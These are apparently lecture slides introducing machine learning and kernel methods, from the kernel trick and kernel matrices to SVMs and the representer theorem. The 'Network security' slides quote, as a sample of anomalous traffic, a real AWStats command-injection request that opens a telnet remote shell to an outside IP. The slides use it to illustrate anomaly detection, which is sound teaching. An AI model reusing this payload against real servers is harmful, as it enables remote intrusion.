



# Introduction to Machine Learning & Tutorial on Kernel Methods

...with a Quick Glance on Multiple Kernel Learning

Marius Kloft

Humboldt University of Berlin  
July 28, 2014

# What is **learning**?

“Learning is the act of acquiring new [...] knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information.”

# What is **learning**?

“Learning is the act of acquiring new [...] knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information.”

“The ability to learn is possessed by humans, animals and some machines. [...] learning may be viewed as a process, rather than a collection of factual and procedural knowledge.”

# What is **learning**?

“Learning is the act of acquiring new [...] knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information.”

“The ability to learn is possessed by humans, animals and some machines. [...] learning may be viewed as a process, rather than a collection of factual and procedural knowledge.”

“Learning produces changes in the organism and the changes produced are relatively permanent.”

# What is **learning**?

“Learning is the act of acquiring new [...] knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information.”

“The ability to learn is possessed by humans, animals and some machines. [...] learning may be viewed as a process, rather than a collection of factual and procedural knowledge.”

“Learning produces changes in the organism and the changes produced are relatively permanent.”

— <http://en.wikipedia.org/wiki/Learning>, accessed July 25, 2014

# What is **learning**?

“Learning is the act of acquiring new [...] knowledge, behaviors, skills, values, or preferences and may involve synthesizing different types of information.”

“The ability to learn is possessed by humans, animals and some **machines**. [...] learning may be viewed as a process, rather than a collection of factual and procedural knowledge.”

“Learning produces changes in the organism and the changes produced are relatively permanent.”

— <http://en.wikipedia.org/wiki/Learning>, accessed July 25, 2014

# What is **learning**?

“Learning is the act of acquiring new [...] knowledge, behaviors, skills, values, or preferences and may involve **synthesizing different types of information**.”

“The ability to learn is possessed by humans, animals and some **machines**. [...] learning may be viewed as a process, rather than a collection of factual and procedural knowledge.”

“Learning produces changes in the organism and the changes produced are relatively permanent.”

— <http://en.wikipedia.org/wiki/Learning>, accessed July 25, 2014

# Origins of Machine Learning



# Origins of Machine Learning

Computer checkers

# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)



# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game



# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games



# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games
  - ▶ developed by Arthur Samuel



# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games
  - ▶ developed by Arthur Samuel
  - ▶ unique features:



# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games
  - ▶ developed by Arthur Samuel
  - ▶ unique features:
    - ▶ alpha-beta algorithm



# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games
  - ▶ developed by Arthur Samuel
  - ▶ unique features:
    - ▶ alpha-beta algorithm
    - ▶ **intelligent adaption** to the opponent's strategy





# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games
  - ▶ developed by Arthur Samuel
  - ▶ unique features:
    - ▶ alpha-beta algorithm
    - ▶ **intelligent adaption** to the opponent's strategy



But without a chance  
against human  
oponents...!

# Origins of Machine Learning

## Computer checkers

- ▶ checkers = strategy board game (8×8 or 10×10 board)
- ▶ 1952: first computer checkers game
  - ▶ historically one of the earliest computer games
  - ▶ developed by **Arthur Samuel**
  - ▶ unique features:
    - ▶ alpha-beta algorithm
    - ▶ **intelligent adaption** to the opponent's strategy



But without a chance against human oponents...!

# What is Machine Learning?

# What is Machine Learning?

“Field of study that gives computers the ability to learn [from data] without being explicitly programmed”




— Arthur Samuel (1959)

# Machine Learning today

## Robot learning


Robots that learn to better navigate based on roaming their environment



# Machine Learning today


## Robot learning

Robots that learn to better navigate based on roaming their environment



## Data mining of electronic health records

Computer programs that learn from patient records which therapy strategies work better



# Machine Learning today (2)

## Network security

Systems that learn to more accurately detect anomaleous behavior in computer networks and the internet

```
GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;sleep%207200%7ctelnet%20194%2e95%2e173%2e219%204321%7cwhile%20%3a%20%3b%20do%20sh%20%26%26%20break%3b%20done%202%3e%261%7ctelnet%20194%2e95%2e173%2e219%204321;echo%20YYY;echo|HTTP/1.1\x0d\x0aAccept: */*\x0d\x0aUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\x0d\x0aHost: wuppi.dyndns.org:80\x0d\x0aConnection: Close\x0d\x0a\x0d\x0a
```

# Machine Learning today (2)


## Network security

Systems that learn to more accurately detect anomalous behavior in computer networks and the internet

```
GET /cgi-  
bin/awstats.pl?configdir=|echo;echo%20YYY;sleep%207200%7ctel  
net%20194%2e95%2e173%2e219%204321%7cwhile%20%3a%2  
0%3b%20do%20sh%20%26%26%20break%3b%20done%20%3  
e%261%7ctelnet%20194%2e95%2e173%2e219%204321;echo%2  
0YYY;echo|HTTP/1.1%0d%0aAccept: */%0d%0aUser-Agent:  
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)%0d%0aHost:  
wuppi.dyndns.org:80%0d%0aConnection: Close%0d%0a%0d%0a
```

## Computational biology

Statistical learning algorithms that learn to detect more and more key loci in the genome



(figure from Alberts et al., 2002)



# Formal problem setting

- ▶ The main aim in ML is to write computer programs

# Formal problem setting

- ▶ The main aim in ML is to write computer programs
  - ▶ using the data instances  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  (called “inputs”)

# Formal problem setting

- ▶ The main aim in ML is to write computer programs
  - ▶ using the data instances  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  (called “inputs”)
  - ▶ and their respective annotations  $y_1, \dots, y_n \in \{-1, +1\}$  (called “labels”)

# Formal problem setting

- ▶ The main aim in ML is to write computer programs
  - ▶ using the data instances  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  (called “inputs”)
  - ▶ and their respective annotations  $y_1, \dots, y_n \in \{-1, +1\}$  (called “labels”)

together called “training data”

# Formal problem setting

- ▶ The main aim in ML is to write computer programs
  - ▶ using the data instances  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  (called “inputs”)
  - ▶ and their respective annotations  $y_1, \dots, y_n \in \{-1, +1\}$  (called “labels”)

together called “training data”

to compute a function  $f : \mathbb{R}^d \rightarrow \{-1, +1\}$

# Formal problem setting

- ▶ The main aim in ML is to write computer programs
  - ▶ using the data instances  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  (called “inputs”)
  - ▶ and their respective annotations  $y_1, \dots, y_n \in \{-1, +1\}$  (called “labels”)

together called “training data”

to compute a function  $f : \mathbb{R}^d \rightarrow \{-1, +1\}$

that predicts for new instances  $\mathbf{x}$  the correct label  $y$

# Formal problem setting

- ▶ The main aim in ML is to write computer programs
  - ▶ using the data instances  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  (called “inputs”)
  - ▶ and their respective annotations  $y_1, \dots, y_n \in \{-1, +1\}$  (called “labels”)

together called “training data”


to compute a function  $f : \mathbb{R}^d \rightarrow \{-1, +1\}$

that predicts for new instances  $\mathbf{x}$  the correct label  $y$

## Example

Learn from source code or network traffic  $\mathbf{x}_1, \dots, \mathbf{x}_n$  to discriminate benign code ( $y = -1$ ) from malicious code ( $y = +1$ )

# A simple learning algorithm




## $k$ -nearest neighbor algorithm

Given a new input  $\mathbf{x}$ , predict the label  $f(y)$  by majority vote over the  $k$  nearest neighbors among the training data




# A simple learning algorithm



## $k$ -nearest neighbor algorithm

Given a new input  $\mathbf{x}$ , predict the label  $f(y)$  by majority vote over the  $k$  nearest neighbors among the training data

# A simple learning algorithm



## $k$ -nearest neighbor algorithm

Given a new input  $\mathbf{x}$ , predict the label  $f(y)$  by majority vote over the  $k$  nearest neighbors among the training data

# More sophisticated paradigms

Examples:

- ▶ Probabilistic machine learning

# More sophisticated paradigms

Examples:

- ▶ Probabilistic machine learning
  - ▶ Model input  $x$  and label  $y$  by random variables  $X$  and  $Y$

# More sophisticated paradigms

Examples:

- ▶ Probabilistic machine learning
  - ▶ Model input  $x$  and label  $y$  by random variables  $X$  and  $Y$
  - ▶ Given  $x$ , predict  $f(x) := \arg \max_y P(Y = y | X = x)$

# More sophisticated paradigms

Examples:

- ▶ Probabilistic machine learning
  - ▶ Model input  $x$  and label  $y$  by random variables  $X$  and  $Y$
  - ▶ Given  $x$ , predict  $f(x) := \arg \max_y P(Y = y | X = x)$
- ▶ Kernel-based machine learning

# More sophisticated paradigms

Examples:

- ▶ Probabilistic machine learning
  - ▶ Model input  $x$  and label  $y$  by random variables  $X$  and  $Y$
  - ▶ Given  $x$ , predict  $f(x) := \arg \max_y P(Y = y | X = x)$
- ▶ Kernel-based machine learning
- ▶ etc. (tree-based learning, neural networks, etc )

# More sophisticated paradigms

Examples:

- ▶ Probabilistic machine learning
  - ▶ Model input  $x$  and label  $y$  by random variables  $X$  and  $Y$
  - ▶ Given  $x$ , predict  $f(x) := \arg \max_y P(Y = y | X = x)$
- ▶ Kernel-based machine learning
- ▶ etc. (tree-based learning, neural networks, etc )

Many learning frameworks out there...



# More sophisticated paradigms

## Examples

- ▶ Probabilistic machine learning
  - ▶ Model input  $x$  and label  $y$  by random variables  $X$  and  $Y$
  - ▶ Given  $x$ , predict  $f(x) := \arg \max_y P(Y = y | X = x)$
- ▶ **Kernel-based machine learning**
- ▶ etc. (tree-based learning, neural networks, etc )

Many learning frameworks out there...

# Kernel-based machine learning

cf., e.g., Müller et al., 2001


Efficient way to carry out linear algorithms in (some)  
high-dimensional spaces

Efficient way to carry out linear algorithms in (some)  
high-dimensional spaces

Core idea: linear learning algorithms are more expressive in  
higher dimensions


Efficient way to carry out linear algorithms in (some) high-dimensional spaces

Core idea: linear learning algorithms are more expressive in higher dimensions



## Efficient way to carry out linear algorithms in (some) high-dimensional spaces


Core idea: linear learning algorithms are more expressive in higher dimensions



# Kernel methods: core steps

- 1 Map the data into high-dimensional space, e.g., via


$$\phi : \mathbb{R}^2 \rightarrow \mathbb{R}^3 \\ (x_1, x_2) \mapsto (z_1, z_2, z_3) := (x_1^2, \sqrt{2}x_1x_2, x_2^2)$$



# Kernel methods: core steps

- 1 Map the data into high-dimensional space, e.g., via

$$\phi : \mathbb{R}^2 \rightarrow \mathbb{R}^3 \\ (x_1, x_2) \mapsto (z_1, z_2, z_3) := (x_1^2, \sqrt{2}x_1x_2, x_2^2)$$




- 2 Linear separation there



# Kernel methods: core steps

- 1 Map the data into high-dimensional space, e.g., via

$$\phi : \mathbb{R}^2 \rightarrow \mathbb{R}^3 \\ (x_1, x_2) \mapsto (z_1, z_2, z_3) := (x_1^2, \sqrt{2}x_1x_2, x_2^2)$$



- 2 Linear separation there
- 3 Corresponds to non-linear separation in the original space

## Kernel methods: core steps (2)

Problem:

- ▶ Computation of scalar products in high-dimensional spaces is not efficient

# Kernel methods: core steps (2)

Problem:

- ▶ Computation of scalar products in high-dimensional spaces is not efficient

Remedy:

- ▶ Carry out mapping only **implicitly** via kernel trick

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

$$\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle \stackrel{\text{def.}}{=}$$

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

$$\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle \stackrel{\text{def.}}{=} \left\langle (x_1^2, \sqrt{2}x_1x_2, x_2^2), (\tilde{x}_1^2, \sqrt{2}\tilde{x}_1\tilde{x}_2, \tilde{x}_2^2) \right\rangle$$

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

$$\begin{aligned}\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle &\stackrel{\text{def.}}{=} \left\langle (x_1^2, \sqrt{2}x_1x_2, x_2^2), (\tilde{x}_1^2, \sqrt{2}\tilde{x}_1\tilde{x}_2, \tilde{x}_2^2) \right\rangle \\ &= (x_1\tilde{x}_1)^2 + 2(x_1\tilde{x}_1x_2\tilde{x}_2) + (x_2\tilde{x}_2)^2\end{aligned}$$



# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

$$\begin{aligned}\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle &\stackrel{\text{def.}}{=} \left\langle (x_1^2, \sqrt{2}x_1x_2, x_2^2), (\tilde{x}_1^2, \sqrt{2}\tilde{x}_1\tilde{x}_2, \tilde{x}_2^2) \right\rangle \\ &= (x_1\tilde{x}_1)^2 + 2(x_1\tilde{x}_1x_2\tilde{x}_2) + (x_2\tilde{x}_2)^2 = \langle \mathbf{x}, \tilde{\mathbf{x}} \rangle^2\end{aligned}$$

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

$$\begin{aligned}\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle &\stackrel{\text{def.}}{=} \left\langle (x_1^2, \sqrt{2}x_1x_2, x_2^2), (\tilde{x}_1^2, \sqrt{2}\tilde{x}_1\tilde{x}_2, \tilde{x}_2^2) \right\rangle \\ &= (x_1\tilde{x}_1)^2 + 2(x_1\tilde{x}_1x_2\tilde{x}_2) + (x_2\tilde{x}_2)^2 = \langle \mathbf{x}, \tilde{\mathbf{x}} \rangle^2\end{aligned}$$

- ▶  $k(\mathbf{x}, \tilde{\mathbf{x}}) := \langle \mathbf{x}, \tilde{\mathbf{x}} \rangle^2$  is called “kernel”

# Kernel Trick (e.g., Boser et al., 1992)

- ▶ Say  $\mathbf{x} = (x_1, x_2)$  and  $\tilde{\mathbf{x}} = (\tilde{x}_1, \tilde{x}_2)$  are two data points in  $\mathbb{R}^2$
- ▶ Observation:

$$\begin{aligned}\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle &\stackrel{\text{def.}}{=} \left\langle (x_1^2, \sqrt{2}x_1x_2, x_2^2), (\tilde{x}_1^2, \sqrt{2}\tilde{x}_1\tilde{x}_2, \tilde{x}_2^2) \right\rangle \\ &= (x_1\tilde{x}_1)^2 + 2(x_1\tilde{x}_1x_2\tilde{x}_2) + (x_2\tilde{x}_2)^2 = \langle \mathbf{x}, \tilde{\mathbf{x}} \rangle^2\end{aligned}$$

- ▶  $k(\mathbf{x}, \tilde{\mathbf{x}}) := \langle \mathbf{x}, \tilde{\mathbf{x}} \rangle^2$  is called “kernel”

## Kernel trick

To “kernelize” a learning algorithm, substitute all occurrences  $\langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle$  by kernel  $k(\mathbf{x}, \tilde{\mathbf{x}})$

# Kernel

## Definition

A function

$$k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$$

is called **kernel** if and only if there exists a map  $\phi : \mathbb{R}^d \rightarrow \mathcal{H}$  into a Hilbert space  $\mathcal{H}$  (called **kernel feature space**) such that

$$\forall \mathbf{x}, \tilde{\mathbf{x}} \in \mathbb{R}^d : k(\mathbf{x}, \tilde{\mathbf{x}}) = \langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle .$$

“k computes inner products in some Hilbert space”

# Kernel

## Definition

A function

$$k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$$

is called **kernel** if and only if there exists a map  $\phi : \mathbb{R}^d \rightarrow \mathcal{H}$  into a Hilbert space  $\mathcal{H}$  (called **kernel feature space**) such that

$$\forall \mathbf{x}, \tilde{\mathbf{x}} \in \mathbb{R}^d : k(\mathbf{x}, \tilde{\mathbf{x}}) = \langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle .$$

“k computes inner products in some Hilbert space”

One can show that the following are kernels (for  $\lambda > 0, m \in \mathbb{N}$ ):

# Kernel

## Definition

A function

$$k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$$

is called **kernel** if and only if there exists a map  $\phi : \mathbb{R}^d \rightarrow \mathcal{H}$  into a Hilbert space  $\mathcal{H}$  (called **kernel feature space**) such that

$$\forall \mathbf{x}, \tilde{\mathbf{x}} \in \mathbb{R}^d : k(\mathbf{x}, \tilde{\mathbf{x}}) = \langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle .$$

“k computes inner products in some Hilbert space”

One can show that the following are kernels (for  $\lambda > 0, m \in \mathbb{N}$ ):

- ▶  $k(\mathbf{x}, \tilde{\mathbf{x}}) := \exp(-\lambda \|\mathbf{x} - \tilde{\mathbf{x}}\|^2)$  “Gaussian/RBF kernel”

# Kernel

## Definition

A function

$$k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$$

is called **kernel** if and only if there exists a map  $\phi : \mathbb{R}^d \rightarrow \mathcal{H}$  into a Hilbert space  $\mathcal{H}$  (called **kernel feature space**) such that

$$\forall \mathbf{x}, \tilde{\mathbf{x}} \in \mathbb{R}^d : \quad k(\mathbf{x}, \tilde{\mathbf{x}}) = \langle \phi(\mathbf{x}), \phi(\tilde{\mathbf{x}}) \rangle .$$

“k computes inner products in some Hilbert space”

One can show that the following are kernels (for  $\lambda > 0, m \in \mathbb{N}$ ):

- ▶  $k(\mathbf{x}, \tilde{\mathbf{x}}) := \exp(-\lambda \|\mathbf{x} - \tilde{\mathbf{x}}\|^2)$     “Gaussian/RBF kernel”
- ▶  $k(\mathbf{x}, \tilde{\mathbf{x}}) := \langle \mathbf{x}, \tilde{\mathbf{x}} \rangle^m$     “polynomial kernel”

# Kernel matrix

## Definition

Let  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  be the input data, and let  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  be a kernel function. Then the matrix

$$K := \begin{pmatrix} k(\mathbf{x}_1, \mathbf{x}_1) & \dots & k(\mathbf{x}_1, \mathbf{x}_n) \\ \vdots & & \vdots \\ k(\mathbf{x}_n, \mathbf{x}_1) & \dots & k(\mathbf{x}_n, \mathbf{x}_n) \end{pmatrix} \in \mathbb{R}^{n \times n}$$

is called **kernel matrix**.



# Kernel matrix

## Definition

Let  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  be the input data, and let  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  be a kernel function. Then the matrix

$$K := \begin{pmatrix} k(\mathbf{x}_1, \mathbf{x}_1) & \dots & k(\mathbf{x}_1, \mathbf{x}_n) \\ \vdots & & \vdots \\ k(\mathbf{x}_n, \mathbf{x}_1) & \dots & k(\mathbf{x}_n, \mathbf{x}_n) \end{pmatrix} \in \mathbb{R}^{n \times n}$$

is called **kernel matrix**.

Equivalent characterization of kernels:

# Kernel matrix

## Definition

Let  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  be the input data, and let  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  be a kernel function. Then the matrix

$$K := \begin{pmatrix} k(\mathbf{x}_1, \mathbf{x}_1) & \dots & k(\mathbf{x}_1, \mathbf{x}_n) \\ \vdots & & \vdots \\ k(\mathbf{x}_n, \mathbf{x}_1) & \dots & k(\mathbf{x}_n, \mathbf{x}_n) \end{pmatrix} \in \mathbb{R}^{n \times n}$$

is called **kernel matrix**.

Equivalent characterization of kernels:

## Theorem

A function  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathcal{H}$  is a kernel if and only if for any  $n \in \mathbb{N}$  and any  $n$  input points  $\mathbf{x}_1, \dots, \mathbf{x}_n \in \mathbb{R}^d$  the kernel matrix  $K$  is positive semi-definite.

# When can a learning algorithm be “kernelized”?

# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

Example: support vector machine (SVM)

# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

Example: support vector machine (SVM)

► Dual:  $\max_{\alpha: 0 \leq \alpha \leq C, \mathbf{y}^\top \alpha = 0} \sum_{i=1}^n \alpha_i - \frac{1}{2} (\alpha \circ \mathbf{y})^\top K (\alpha \circ \mathbf{y})$

# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

Example: support vector machine (SVM)

- ▶ Dual:  $\max_{\alpha: 0 \leq \alpha \leq C, \mathbf{y}^\top \alpha = 0} \sum_{i=1}^n \alpha_i - \frac{1}{2} (\alpha \circ \mathbf{y})^\top K (\alpha \circ \mathbf{y})$ 
  - ✓ depends on the input data only through the kernel matrix  $K$

# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

Example: support vector machine (SVM)

- ▶ Dual:  $\max_{\alpha: 0 \leq \alpha \leq C, \mathbf{y}^\top \alpha = 0} \sum_{i=1}^n \alpha_i - \frac{1}{2} (\alpha \circ \mathbf{y})^\top K (\alpha \circ \mathbf{y})$   
✓ depends on the input data only through the kernel matrix  $K$
- ▶ Prediction via  $f(\mathbf{x}) := \langle \mathbf{w}, \phi(\mathbf{x}) \rangle$  with  $\mathbf{w} = \sum_{i=1}^n \alpha_i y_i \phi(\mathbf{x}_i)$   
(follows from KKT conditions)



# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

Example: support vector machine (SVM)

- ▶ Dual:  $\max_{\alpha: 0 \leq \alpha \leq C, \mathbf{y}^\top \alpha = 0} \sum_{i=1}^n \alpha_i - \frac{1}{2} (\alpha \circ \mathbf{y})^\top K (\alpha \circ \mathbf{y})$   
✓ depends on the input data only through the kernel matrix  $K$
- ▶ Prediction via  $f(\mathbf{x}) := \langle \mathbf{w}, \phi(\mathbf{x}) \rangle$  with  $\mathbf{w} = \sum_{i=1}^n \alpha_i y_i \phi(\mathbf{x}_i)$   
(follows from KKT conditions), thus  
 $f(\mathbf{x}) := \sum_{i=1}^n \alpha_i y_i k(\mathbf{x}_i, \mathbf{x})$

# When can a learning algorithm be “kernelized”?

The training and prediction steps need to solely depend on the data through the kernel (or kernel matrix)

Example: support vector machine (SVM)

- ▶ Dual:  $\max_{\alpha: 0 \leq \alpha \leq C, \mathbf{y}^\top \alpha = 0} \sum_{i=1}^n \alpha_i - \frac{1}{2} (\alpha \circ \mathbf{y})^\top K (\alpha \circ \mathbf{y})$ 
  - ✓ depends on the input data only through the kernel matrix  $K$
- ▶ Prediction via  $f(\mathbf{x}) := \langle \mathbf{w}, \phi(\mathbf{x}) \rangle$  with  $\mathbf{w} = \sum_{i=1}^n \alpha_i y_i \phi(\mathbf{x}_i)$  (follows from KKT conditions), thus
$$f(\mathbf{x}) := \sum_{i=1}^n \alpha_i y_i k(\mathbf{x}_i, \mathbf{x})$$
  - ✓ depends on the input data only through the kernel  $k$

# When can a learning algorithm be kernelized?

## Representer theorem

Let be given:

- ▶ kernel  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  over Hilbert space  $\mathcal{H}$

# When can a learning algorithm be kernelized?

## Representer theorem

Let be given:

- ▶ kernel  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  over Hilbert space  $\mathcal{H}$
- ▶ a subset  $\mathcal{X} \subset \mathcal{H}$
- ▶ a strictly increasing function  $\Omega : \mathbb{R} \rightarrow \mathbb{R}$
- ▶ any (!) function  $L : \mathbb{R}^n \rightarrow \mathbb{R}$

# When can a learning algorithm be kernelized?

## Representer theorem

Let be given:

- ▶ kernel  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  over Hilbert space  $\mathcal{H}$
- ▶ a subset  $\mathcal{X} \subset \mathcal{H}$
- ▶ a strictly increasing function  $\Omega : \mathbb{R} \rightarrow \mathbb{R}$
- ▶ any (!) function  $L : \mathbb{R}^n \rightarrow \mathbb{R}$

Then any solution

$$\mathbf{w}^* \in \arg \min_{\mathbf{w} \in \mathcal{W}} \Omega(\|\mathbf{w}\|^2) + L(\langle \mathbf{w}, \phi(\mathbf{x}_1) \rangle, \dots, \langle \mathbf{w}, \phi(\mathbf{x}_n) \rangle)$$

# When can a learning algorithm be kernelized?

## Representer theorem

Let be given:

- ▶ kernel  $k : \mathbb{R}^d \times \mathbb{R}^d \rightarrow \mathbb{R}$  over Hilbert space  $\mathcal{H}$
- ▶ a subset  $\mathcal{X} \subset \mathcal{H}$
- ▶ a strictly increasing function  $\Omega : \mathbb{R} \rightarrow \mathbb{R}$
- ▶ any (!) function  $L : \mathbb{R}^n \rightarrow \mathbb{R}$

Then any solution

$$\mathbf{w}^* \in \arg \min_{\mathbf{w} \in \mathcal{W}} \Omega(\|\mathbf{w}\|^2) + L(\langle \mathbf{w}, \phi(\mathbf{x}_1) \rangle, \dots, \langle \mathbf{w}, \phi(\mathbf{x}_n) \rangle)$$

admits a representation

$$\mathbf{w}^* = \sum_{i=1}^n \alpha_i \phi(\mathbf{x}_i)$$

for suitable choice of  $\alpha \in \mathbb{R}^n$ .

## Further reading

- ▶ Klaus-Robert Müller et al.: An Introduction to Kernel-based Learning Algorithms. IEEE Transactions on Neural Networks, 12(2), 2001.

# References

- B. E. Boser, I. M. Guyon, and V. N. Vapnik. A training algorithm for optimal margin classifiers. In **Proceedings of the Fifth Annual Workshop on Computational Learning Theory (COLT '92)**. ACM, 1992.